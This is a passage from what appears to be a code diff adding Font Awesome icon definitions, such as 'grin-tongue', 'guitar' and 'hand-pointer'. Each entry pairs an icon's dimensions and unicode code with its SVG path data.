0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm157.7-249.9l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L344 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.5-4.6-1.9-12.2 4.3-13.2l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.3.9 9 8.5 4.4 13.1z"], + "grin-tears": [640, 512, [], "f588", "M102.4 256.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm523.4 26.8c-14.8-14.8-65.7-23.5-88.3-26.8-5.5-.8-10.3 3.9-9.5 9.5 3.2 22.6 12 73.5 26.8 88.3 19.2 19.2 50.6 18.9 70.2-.7s20-51.2.8-70.3zm-129.4-12.8c-3.8-26.6 19.1-49.5 45.7-45.7 8.9 1.3 16.8 2.7 24.3 4.1C552.7 104.5 447.7 8 320 8S87.3 104.5 73.6 228.5c7.5-1.4 15.4-2.8 24.3-4.1 33.2-3.9 48.6 25.3 45.7 45.7-11.8 82.3-29.9 100.4-35.8 106.4-.9.9-2 1.6-3 2.5 42.7 74.6 123 125 215.2 125s172.5-50.4 215.2-125.1c-1-.9-2.1-1.5-3-2.5-5.9-5.9-24-24-35.8-106.3zM400 152c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.7 9.2-21.6 20.7-17.9C227.1 330.5 272 336 320 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-tongue": [496, 512, [], "f589", "M248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-34.9 134.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z"], + "grin-tongue-squint": [496, 512, [], "f58a", "M293.1 374.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-33.8 210.3l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.7 4.7 7.7 15.9 0 20.6zm163 30c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.8-4.7-7.8-15.9 0-20.6l80-48c11.7-6.9 23.9 7.7 15.4 18L343.6 208l33.6 40.3z"], + "grin-tongue-wink": [496, 512, [], "f58b", "M344 184c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-56 225l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L112 233c-8.5 7.4-21.6.3-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c1.6 11.1-11.6 18.2-20 10.8zm152 39c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm-50.9 102.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z"], + "grin-wink": [496, 512, [], "f58c", "M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm168 25l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.6 11-11.5 18.2-20 10.8zm-243.1 87.8C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6 20.7 17.9-9.2 55-83.2 93.3-143.8 93.3s-134.5-38.3-143.8-93.3c-2-11.9 9.3-21.6 20.7-17.9z"], + "grip-horizontal": [448, 512, [], "f58d", "M96 288H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM96 96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"], + "grip-lines": [512, 512, [], "f7a4", "M496 288H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-128H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"], + "grip-lines-vertical": [256, 512, [], "f7a5", "M96 496V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm128 0V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16z"], + "grip-vertical": [320, 512, [], "f58e", "M96 32H32C14.33 32 0 46.33 0 64v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM288 32h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"], + "guitar": [512, 512, [], "f7a6", "M502.63 39L473 9.37a32 32 0 0 0-45.26 0L381.46 55.7a35.14 35.14 0 0 0-8.53 13.79L360.77 106l-76.26 76.26c-12.16-8.76-25.5-15.74-40.1-19.14-33.45-7.78-67-.88-89.88 22a82.45 82.45 0 0 0-20.24 33.47c-6 18.56-23.21 32.69-42.15 34.46-23.7 2.27-45.73 11.45-62.61 28.44C-16.11 327-7.9 409 47.58 464.45S185 528 230.56 482.52c17-16.88 26.16-38.9 28.45-62.71 1.76-18.85 15.89-36.13 34.43-42.14a82.6 82.6 0 0 0 33.48-20.25c22.87-22.88 29.74-56.36 22-89.75-3.39-14.64-10.37-28-19.16-40.2L406 151.23l36.48-12.16a35.14 35.14 0 0 0 13.79-8.53l46.33-46.32a32 32 0 0 0 .03-45.22zM208 352a48 48 0 1 1 48-48 48 48 0 0 1-48 48z"], + "h-square": [448, 512, [], "f0fd", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-112 48h-32c-8.837 0-16 7.163-16 16v80H160v-80c0-8.837-7.163-16-16-16h-32c-8.837 0-16 7.163-16 16v224c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16v-80h128v80c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16V144c0-8.837-7.163-16-16-16z"], + "hamburger": [512, 512, [], "f805", "M464 256H48a48 48 0 0 0 0 96h416a48 48 0 0 0 0-96zm16 128H32a16 16 0 0 0-16 16v16a64 64 0 0 0 64 64h352a64 64 0 0 0 64-64v-16a16 16 0 0 0-16-16zM58.64 224h394.72c34.57 0 54.62-43.9 34.82-75.88C448 83.2 359.55 32.1 256 32c-103.54.1-192 51.2-232.18 116.11C4 180.09 24.07 224 58.64 224zM384 112a16 16 0 1 1-16 16 16 16 0 0 1 16-16zM256 80a16 16 0 1 1-16 16 16 16 0 0 1 16-16zm-128 32a16 16 0 1 1-16 16 16 16 0 0 1 16-16z"], + "hammer": [576, 512, [], "f6e3", "M571.31 193.94l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31-28.9-28.9c5.63-21.31.36-44.9-16.35-61.61l-45.25-45.25c-62.48-62.48-163.79-62.48-226.28 0l90.51 45.25v18.75c0 16.97 6.74 33.25 18.75 45.25l49.14 49.14c16.71 16.71 40.3 21.98 61.61 16.35l28.9 28.9-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l90.51-90.51c6.23-6.24 6.23-16.37-.02-22.62zm-286.72-15.2c-3.7-3.7-6.84-7.79-9.85-11.95L19.64 404.96c-25.57 23.88-26.26 64.19-1.53 88.93s65.05 24.05 88.93-1.53l238.13-255.07c-3.96-2.91-7.9-5.87-11.44-9.41l-49.14-49.14z"], + "hamsa": [512, 512, [], "f665", "M509.34 307.25C504.28 295.56 492.75 288 480 288h-64V80c0-22-18-40-40-40s-40 18-40 40v134c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V40c0-22-18-40-40-40s-40 18-40 40v174c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V80c0-22-18-40-40-40S96 58 96 80v208H32c-12.75 0-24.28 7.56-29.34 19.25a31.966 31.966 0 0 0 5.94 34.58l102.69 110.03C146.97 490.08 199.69 512 256 512s109.03-21.92 144.72-60.14L503.4 341.83a31.966 31.966 0 0 0 5.94-34.58zM256 416c-53.02 0-96-64-96-64s42.98-64 96-64 96 64 96 64-42.98 64-96 64zm0-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"], + "hand-holding": [576, 512, [], "f4bd", "M565.3 328.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"], + "hand-holding-heart": [576, 512, [], "f4be", "M275.3 250.5c7 7.4 18.4 7.4 25.5 0l108.9-114.2c31.6-33.2 29.8-88.2-5.6-118.8-30.8-26.7-76.7-21.9-104.9 7.7L288 36.9l-11.1-11.6C248.7-4.4 202.8-9.2 172 17.5c-35.3 30.6-37.2 85.6-5.6 118.8l108.9 114.2zm290 77.6c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"], + "hand-holding-medical": [576, 512, [], "e05c", "M159.88,175.82h64v64a16,16,0,0,0,16,16h64a16,16,0,0,0,16-16v-64h64a16,16,0,0,0,16-16v-64a16,16,0,0,0-16-16h-64v-64a16,16,0,0,0-16-16h-64a16,16,0,0,0-16,16v64h-64a16,16,0,0,0-16,16v64A16,16,0,0,0,159.88,175.82ZM568.07,336.13a39.91,39.91,0,0,0-55.93-8.47L392.47,415.84H271.86a16,16,0,0,1,0-32H350.1c16,0,30.75-10.87,33.37-26.61a32.06,32.06,0,0,0-31.62-37.38h-160a117.7,117.7,0,0,0-74.12,26.25l-46.5,37.74H15.87a16.11,16.11,0,0,0-16,16v96a16.11,16.11,0,0,0,16,16h347a104.8,104.8,0,0,0,61.7-20.27L559.6,392A40,40,0,0,0,568.07,336.13Z"], + "hand-holding-usd": [576, 512, [], "f4c0", "M271.06,144.3l54.27,14.3a8.59,8.59,0,0,1,6.63,8.1c0,4.6-4.09,8.4-9.12,8.4h-35.6a30,30,0,0,1-11.19-2.2c-5.24-2.2-11.28-1.7-15.3,2l-19,17.5a11.68,11.68,0,0,0-2.25,2.66,11.42,11.42,0,0,0,3.88,15.74,83.77,83.77,0,0,0,34.51,11.5V240c0,8.8,7.83,16,17.37,16h17.37c9.55,0,17.38-7.2,17.38-16V222.4c32.93-3.6,57.84-31,53.5-63-3.15-23-22.46-41.3-46.56-47.7L282.68,97.4a8.59,8.59,0,0,1-6.63-8.1c0-4.6,4.09-8.4,9.12-8.4h35.6A30,30,0,0,1,332,83.1c5.23,2.2,11.28,1.7,15.3-2l19-17.5A11.31,11.31,0,0,0,368.47,61a11.43,11.43,0,0,0-3.84-15.78,83.82,83.82,0,0,0-34.52-11.5V16c0-8.8-7.82-16-17.37-16H295.37C285.82,0,278,7.2,278,16V33.6c-32.89,3.6-57.85,31-53.51,63C227.63,119.6,247,137.9,271.06,144.3ZM565.27,328.1c-11.8-10.7-30.2-10-42.6,0L430.27,402a63.64,63.64,0,0,1-40,14H272a16,16,0,0,1,0-32h78.29c15.9,0,30.71-10.9,33.25-26.6a31.2,31.2,0,0,0,.46-5.46A32,32,0,0,0,352,320H192a117.66,117.66,0,0,0-74.1,26.29L71.4,384H16A16,16,0,0,0,0,400v96a16,16,0,0,0,16,16H372.77a64,64,0,0,0,40-14L564,377a32,32,0,0,0,1.28-48.9Z"], + "hand-holding-water": [576, 512, [], "f4c1", "M288 256c53 0 96-42.1 96-94 0-40-57.1-120.7-83.2-155.6-6.4-8.5-19.2-8.5-25.6 0C249.1 41.3 192 122 192 162c0 51.9 43 94 96 94zm277.3 72.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"], + "hand-lizard": [576, 512, [], "f258", "M384 480h192V363.778a95.998 95.998 0 0 0-14.833-51.263L398.127 54.368A48 48 0 0 0 357.544 32H24C10.745 32 0 42.745 0 56v16c0 30.928 25.072 56 56 56h229.981c12.844 0 21.556 13.067 16.615 24.923l-21.41 51.385A32 32 0 0 1 251.648 224H128c-35.346 0-64 28.654-64 64v8c0 13.255 10.745 24 24 24h147.406a47.995 47.995 0 0 1 25.692 7.455l111.748 70.811A24.001 24.001 0 0 1 384 418.539V480z"], + "hand-middle-finger": [512, 512, [], "f806", "M479.93 317.12a37.33 37.33 0 0 0-28.28-36.19L416 272v-49.59c0-11.44-9.69-21.29-23.15-23.54l-38.4-6.4C336.63 189.5 320 200.86 320 216v32a8 8 0 0 1-16 0V50c0-26.28-20.25-49.2-46.52-50A48 48 0 0 0 208 48v200a8 8 0 0 1-16 0v-32c0-15.15-16.63-26.51-34.45-23.54l-30.68 5.12c-18 3-30.87 16.12-30.87 31.38V376a8 8 0 0 1-16 0v-76l-27.36 15A37.34 37.34 0 0 0 32 348.4v73.47a37.31 37.31 0 0 0 10.93 26.39l30.93 30.93A112 112 0 0 0 153.05 512h215A112 112 0 0 0 480 400z"], + "hand-paper": [448, 512, [], "f256", "M408.781 128.007C386.356 127.578 368 146.36 368 168.79V256h-8V79.79c0-22.43-18.356-41.212-40.781-40.783C297.488 39.423 280 57.169 280 79v177h-8V40.79C272 18.36 253.644-.422 231.219.007 209.488.423 192 18.169 192 40v216h-8V80.79c0-22.43-18.356-41.212-40.781-40.783C121.488 40.423 104 58.169 104 80v235.992l-31.648-43.519c-12.993-17.866-38.009-21.817-55.877-8.823-17.865 12.994-21.815 38.01-8.822 55.877l125.601 172.705A48 48 0 0 0 172.073 512h197.59c22.274 0 41.622-15.324 46.724-37.006l26.508-112.66a192.011 192.011 0 0 0 5.104-43.975V168c.001-21.831-17.487-39.577-39.218-39.993z"], + "hand-peace": [448, 512, [], "f25b", "M408 216c-22.092 0-40 17.909-40 40h-8v-32c0-22.091-17.908-40-40-40s-40 17.909-40 40v32h-8V48c0-26.51-21.49-48-48-48s-48 21.49-48 48v208h-13.572L92.688 78.449C82.994 53.774 55.134 41.63 30.461 51.324 5.787 61.017-6.356 88.877 3.337 113.551l74.765 190.342-31.09 24.872c-15.381 12.306-19.515 33.978-9.741 51.081l64 112A39.998 39.998 0 0 0 136 512h240c18.562 0 34.686-12.77 38.937-30.838l32-136A39.97 39.97 0 0 0 448 336v-80c0-22.091-17.908-40-40-40z"], + "hand-point-down": [384, 512, [], "f0a7", "M91.826 467.2V317.966c-8.248 5.841-16.558 10.57-24.918 14.153C35.098 345.752-.014 322.222 0 288c.008-18.616 10.897-32.203 29.092-40 28.286-12.122 64.329-78.648 77.323-107.534 7.956-17.857 25.479-28.453 43.845-28.464l.001-.002h171.526c11.812 0 21.897 8.596 23.703 20.269 7.25 46.837 38.483 61.76 38.315 123.731-.007 2.724.195 13.254.195 16 0 50.654-22.122 81.574-71.263 72.6-9.297 18.597-39.486 30.738-62.315 16.45-21.177 24.645-53.896 22.639-70.944 6.299V467.2c0 24.15-20.201 44.8-43.826 44.8-23.283 0-43.826-21.35-43.826-44.8zM112 72V24c0-13.255 10.745-24 24-24h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24zm212-24c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z"], + "hand-point-left": [512, 512, [], "f0a5", "M44.8 155.826h149.234c-5.841-8.248-10.57-16.558-14.153-24.918C166.248 99.098 189.778 63.986 224 64c18.616.008 32.203 10.897 40 29.092 12.122 28.286 78.648 64.329 107.534 77.323 17.857 7.956 28.453 25.479 28.464 43.845l.002.001v171.526c0 11.812-8.596 21.897-20.269 23.703-46.837 7.25-61.76 38.483-123.731 38.315-2.724-.007-13.254.195-16 .195-50.654 0-81.574-22.122-72.6-71.263-18.597-9.297-30.738-39.486-16.45-62.315-24.645-21.177-22.639-53.896-6.299-70.944H44.8c-24.15 0-44.8-20.201-44.8-43.826 0-23.283 21.35-43.826 44.8-43.826zM440 176h48c13.255 0 24 10.745 24 24v192c0 13.255-10.745 24-24 24h-48c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24zm24 212c11.046 0 20-8.954 20-20s-8.954-20-20-20-20 8.954-20 20 8.954 20 20 20z"], + "hand-point-right": [512, 512, [], "f0a4", "M512 199.652c0 23.625-20.65 43.826-44.8 43.826h-99.851c16.34 17.048 18.346 49.766-6.299 70.944 14.288 22.829 2.147 53.017-16.45 62.315C353.574 425.878 322.654 448 272 448c-2.746 0-13.276-.203-16-.195-61.971.168-76.894-31.065-123.731-38.315C120.596 407.683 112 397.599 112 385.786V214.261l.002-.001c.011-18.366 10.607-35.889 28.464-43.845 28.886-12.994 95.413-49.038 107.534-77.323 7.797-18.194 21.384-29.084 40-29.092 34.222-.014 57.752 35.098 44.119 66.908-3.583 8.359-8.312 16.67-14.153 24.918H467.2c23.45 0 44.8 20.543 44.8 43.826zM96 200v192c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24h48c13.255 0 24 10.745 24 24zM68 368c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z"], + "hand-point-up": [384, 512, [], "f0a6", "M135.652 0c23.625 0 43.826 20.65 43.826 44.8v99.851c17.048-16.34 49.766-18.346 70.944 6.299 22.829-14.288 53.017-2.147 62.315 16.45C361.878 158.426 384 189.346 384 240c0 2.746-.203 13.276-.195 16 .168 61.971-31.065 76.894-38.315 123.731C343.683 391.404 333.599 400 321.786 400H150.261l-.001-.002c-18.366-.011-35.889-10.607-43.845-28.464C93.421 342.648 57.377 276.122 29.092 264 10.897 256.203.008 242.616 0 224c-.014-34.222 35.098-57.752 66.908-44.119 8.359 3.583 16.67 8.312 24.918 14.153V44.8c0-23.45 20.543-44.8 43.826-44.8zM136 416h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24v-48c0-13.255 10.745-24 24-24zm168 28c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20z"], + "hand-pointer": [448, 512, [], "f25a", "M448 240v96c0 3.084-.356 6.159-1.063 9.162l-32 136C410.686 499.23 394.562 512 376 512H168a40.004 40.004 0 0 1-32.35-16.473l-127.997-176c-12.993-17.866-9.043-42.883 8.822-55.876 17.867-12.994 42.884-9.043 55.877 8.823L104 315.992V40c0-22.091 17.908-40 40-40s40 17.909 40 40v200h8v-40c0-22.091 17.908-40 40-40s40 17.909 40 40v40h8v-24c0-22.091 17.908-40 40-40s40 17.909 40 40v24h8c0-22.091 17.908-40 40-40s40 17.909 40 40zm-256 80h-8v96h8v-96zm88 0h-8v96h8v-96zm88 0h-8v96h8v-96z"], + "hand-rock": [512, 512, [], "f255", "M464.8 80c-26.9-.4-48.8 21.2-48.8 48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v32h-8V80.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v136l-8-7.1v-48.1c0-26.3-20.9-48.3-47.2-48.8C21.9 127.6 0 149.2 0 176v66.4c0 27.4 11.7 53.5 32.2 71.8l111.7 99.3c10.2 9.1 16.1 22.2 16.1 35.9v6.7c0 13.3 10.7 24 24 24h240c13.3 0 24-10.7 24-24v-2.9c0-12.8 2.6-25.5 7.5-37.3l49-116.3c5-11.8 7.5-24.5 7.5-37.3V128.8c0-26.3-20.9-48.4-47.2-48.8z"], + "hand-scissors": [512, 512, [], "f257", "M216 440c0-22.092 17.909-40 40-40v-8h-32c-22.091 0-40-17.908-40-40s17.909-40 40-40h32v-8H48c-26.51 0-48-21.49-48-48s21.49-48 48-48h208v-13.572l-177.551-69.74c-24.674-9.694-36.818-37.555-27.125-62.228 9.693-24.674 37.554-36.817 62.228-27.124l190.342 74.765 24.872-31.09c12.306-15.381 33.978-19.515 51.081-9.741l112 64A40.002 40.002 0 0 1 512 168v240c0 18.562-12.77 34.686-30.838 38.937l-136 32A39.982 39.982 0 0 1 336 480h-80c-22.091 0-40-17.908-40-40z"], + "hand-sparkles": [640, 512, [], "e05d", "M106.66,170.64l.09,0,49.55-20.65a7.32,7.32,0,0,0,3.68-6h0a7.29,7.29,0,0,0-3.68-6l-49.57-20.67-.07,0L86,67.68a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L3.7,138A7.29,7.29,0,0,0,0,144H0a7.32,7.32,0,0,0,3.68,6L53.27,170.6l.07,0L74,220.26a6.65,6.65,0,0,0,11.92,0l20.69-49.62ZM471.38,467.41l-1-.42-1-.5a38.67,38.67,0,0,1,0-69.14l1-.49,1-.43,37.49-15.63,15.63-37.48.41-1,.47-.95c3.85-7.74,10.58-13.63,18.35-17.34,0-1.33.25-2.69.27-4V144a32,32,0,0,0-64,0v72a8,8,0,0,1-8,8H456a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H360a8,8,0,0,1-8-8V32a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H264a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0v241l-23.59-32.49a40,40,0,0,0-64.71,47.09L229.3,492.21A48.07,48.07,0,0,0,268.09,512H465.7c19.24,0,35.65-11.73,43.24-28.79l-.07-.17ZM349.79,339.52,320,351.93l-12.42,29.78a4,4,0,0,1-7.15,0L288,351.93l-29.79-12.41a4,4,0,0,1,0-7.16L288,319.94l12.42-29.78a4,4,0,0,1,7.15,0L320,319.94l29.79,12.42a4,4,0,0,1,0,7.16ZM640,431.91a7.28,7.28,0,0,0-3.68-6l-49.57-20.67-.07,0L566,355.63a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L483.7,426a7.28,7.28,0,0,0-3.68,6h0a7.29,7.29,0,0,0,3.68,5.95l49.57,20.67.07,0L554,508.21a6.65,6.65,0,0,0,11.92,0l20.69-49.62h0l.09,0,49.55-20.66a7.29,7.29,0,0,0,3.68-5.95h0Z"], + "hand-spock": [512, 512, [], "f259", "M510.9005,145.27027,442.604,432.09391A103.99507,103.99507,0,0,1,341.43745,512H214.074a135.96968,135.96968,0,0,1-93.18489-36.95291L12.59072,373.12723a39.992,39.992,0,0,1,54.8122-58.24988l60.59342,57.02528v0a283.24849,283.24849,0,0,0-11.6703-80.46734L73.63726,147.36011a40.00575,40.00575,0,1,1,76.71833-22.7187l37.15458,125.39477a8.33113,8.33113,0,0,0,16.05656-4.4414L153.26183,49.95406A39.99638,39.99638,0,1,1,230.73015,30.0166l56.09491,218.15825a10.42047,10.42047,0,0,0,20.30018-.501L344.80766,63.96966a40.052,40.052,0,0,1,51.30245-30.0893c19.86073,6.2998,30.86262,27.67378,26.67564,48.08487l-33.83869,164.966a7.55172,7.55172,0,0,0,14.74406,3.2666l29.3973-123.45874a39.99414,39.99414,0,1,1,77.81208,18.53121Z"], + "hands": [640, 512, [], "f4c2", "M204.8 230.4c-10.6-14.1-30.7-17-44.8-6.4-14.1 10.6-17 30.7-6.4 44.8l38.1 50.8c4.8 6.4 4.1 15.3-1.5 20.9l-12.8 12.8c-6.7 6.7-17.6 6.2-23.6-1.1L64 244.4V96c0-17.7-14.3-32-32-32S0 78.3 0 96v218.4c0 10.9 3.7 21.5 10.5 30l104.1 134.3c5 6.5 8.4 13.9 10.4 21.7 1.8 6.9 8.1 11.6 15.3 11.6H272c8.8 0 16-7.2 16-16V384c0-27.7-9-54.6-25.6-76.8l-57.6-76.8zM608 64c-17.7 0-32 14.3-32 32v148.4l-89.8 107.8c-6 7.2-17 7.7-23.6 1.1l-12.8-12.8c-5.6-5.6-6.3-14.5-1.5-20.9l38.1-50.8c10.6-14.1 